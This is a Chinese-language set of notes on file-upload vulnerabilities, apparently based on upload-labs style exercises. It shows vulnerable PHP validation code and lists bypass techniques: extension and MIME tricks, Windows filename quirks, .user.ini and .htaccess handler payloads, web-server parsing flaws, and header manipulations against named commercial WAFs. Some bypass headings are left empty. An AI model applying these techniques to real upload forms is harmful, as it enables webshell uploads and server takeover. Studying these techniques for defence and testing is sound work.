漏洞成因:
在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力。
常见的绕过方式:
前端js验证:
绕过方式:在前端页面修改js代码或将其删除,bp抓包后修后缀名上传
MIME验证:
就是对上传的文件的Content-Type进行了检测
if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { //此处校验Content-Type头是否为image/jpeg,image/png或image/gif if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .
绕过方式:在上传文件时,开启Burp抓包工具,修改Content-Type为合法上传文件类型,比如:img/gif
后缀名黑名单检测:
将不允许上传的后缀存到一个数组中,提前上传文件的后缀,在数组中进行对比,如果存在即上传失败,如果不存在即上传的文件后缀合法。
<?php //过滤了点,限制了大小写混写,过滤了::$DATA,首尾去空,采用黑名单机制限制上传 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp');//定义黑名单 $file_name = trim($_FILES['upload_file']['name']);//上传的文件名 $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.');//从点开始往后返回字符,即提取第一次处理后的文件后缀 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if(!in_array($file_ext, $deny_ext)) {//判断处理后的文件后缀是否在黑名单内 $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //生成随机文件名 if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } ?>
绕过方式:
asp:asp|asa|cer|cdx|aspx|ascx|asax|asmx|cfc|cfm
php:php|php2|php3|php4|php5|pthml|phtm|
jsp:jsp|jspa|jspx|jsw|jsv|jspf|jtml|
后缀名大小写绕过。
PHP
ASP
Php
利用windows特征绕过。
shell.php.
shell.php(空格)
shell.php:1.jpg
shell.php::$DATA(NTFS特性流)
shell.php::$DATA…
以上后缀,会被windows系统自动去掉不符合规则符号后面的内容。
非法的后缀过滤为空:
绕过方法:后缀双写绕过,如:pphphp即可绕过。
.user.ini绕过:
可以作为类似.htaccess的配置文件使用,而且不管是nginx/apache/IIS,只要是服务器使用CGI/FastCGI模式运行的php都可以用这个方法。
在.user.ini中有这么两项
auto_prepend_file //在页面顶部加载文件 auto_append_file //在页面底部加载文件
auto_prepend_file=a.jpg
其含义是所有php文件都包含该图片。
00截断绕过:
绕过方式:
二次渲染绕过:
绕过方式:
条件竞争绕过:
绕过方式:通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。
垃圾数据填充绕过:
绕过方式:修改HTTP请求,再之中加入大量垃圾数据。
move_uploaded_file缺陷绕过:
绕过方式:move_uploaded_file
有个缺陷,即当$img_path
可控,会忽略掉$img_path
后面的/.
数组判断绕过:
<?php if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //mime check $allow_type = array('image/jpeg','image/png','image/gif');//白名单 if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //check filename //检查指定的文件名是否为空,如果为空$file=原始名字,不为空则为合法的指定文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) {//判断名字是否为数组 $file = explode('.', strtolower($file));//不是就打成数组 } $ext = end($file);//文件最后一个后缀名 $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) {//不合法就禁止上传 $msg = "禁止上传该后缀文件!"; }else{ //合法则以$file和后缀【元素个数-1】位元素拼接命名 $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } ?>
解析漏洞:
IIS解析漏洞:
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
会优先按asp来解析
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;
Apache解析漏洞:
apache的解析漏洞。即构造xxxx.php.xxx,只要最后的xxx不能被解析,会继续向左解析,因此php可以成功被解析。
.htaccess解析漏洞:
.htaccess是apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件可以帮我们实现网页301重定向(永久),自定义404错误页面,改变文件拓展名、允许/组织特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
如果用户可以自定义上传.htaccess文件,那么
绕过方式:
<FilesMatch "shell.gif"> SetHandler application/x-httpd-php </FilesMatch> //使Apache把shell.jpg文件解析为php文件 SetHandler application/x-httpd-php //使得任意文件都以php文件解析 AddType application/x-httpd-php xxx //使该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件
Nginx解析漏洞:
解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
对WAF的绕过姿势:
安全狗绕过
绕过思路:
1.对文件的内容,数据,数据包进行处理。
Content-Disposition: form-data; name=“upload_file”; filename=“info.php”
将form-data;修改为~form-data;
2.通过大小写进行绕过:
Content-Disposition:form-data;name=“upload_file”; file=“info.php” Content-Type: application/octet-stream 将Content-Disposition修改为content-disposition 将form-data修改为Form-data 将Content-Type修改为content-Type
3.删减空格进行绕过:
Content-Disposition:form-data;name=“upload_file”; file=“info.php” Content-Type: application/octet-stream 将Content-Disposition:form-data 冒号后面增加或者减少一个空格 将form-data;name="upload_file;分号后面增加或减少一个空格 将Content-Type:冒号后面增加一个空格
4.字符串拼接绕过:
Content-Disposition:form-data;name=“upload_file”; file=“info.php” 将form-data修改为f+orm-data 将form-data修改为form-d+ata
5.双文件上传绕过:
<form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐ data"> <input name="FileName1" type="FILE" size="40"> <input name="FileName2" type="FILE" class="tx1" size="40"> <input type="submit" name="Submit" value="上传"> </form>
6.HTTP header 属性值绕过:
Content-Disposition:form-data;name=“upload_file”; file=“info.php” 将form-data替换为*来绕过 Content-Disposition:*;name=“upload_file”; file=“info.php”
7.HTTP header 属性名称绕过:
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png 修改为: Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png C.php” 删除掉ontent-Type:image/jpeg只留下c,将.php加到c后面即可,但是要注意,双引号要跟着c.php
8.等效替换绕过:
原内容: Content-Type: multipart/form-data; boundary=---------------------------471463142114 修改为: Content‐Type: multipart/form‐data; boundary =‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐471463142114 bodundary后面加入空格。
9.修改编码绕过:
使用UTF-16、Unicode、双URL编码等等。
WTS-WAF绕过
原内容:
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
添加回车来进行绕过。
百度云上传绕过
直接大小写修改文件名即可绕过。
Content-Disposition: form-data; name=“up_picture”; filename=“xss.Php”
360主机上传绕过
原内容:
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content- Type: image/png
修改为:
将Content-Disposition修改为Content‐空格Disposition皆可绕过。
CONTENT-LENGTH绕过
针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。
文件内容检测绕过
针对文件内容检测的绕过,一般有两种方式:
制作图片马
文件幻术头绕过,垃圾数据填充绕过,修改http请求,再之加入大量垃圾数据。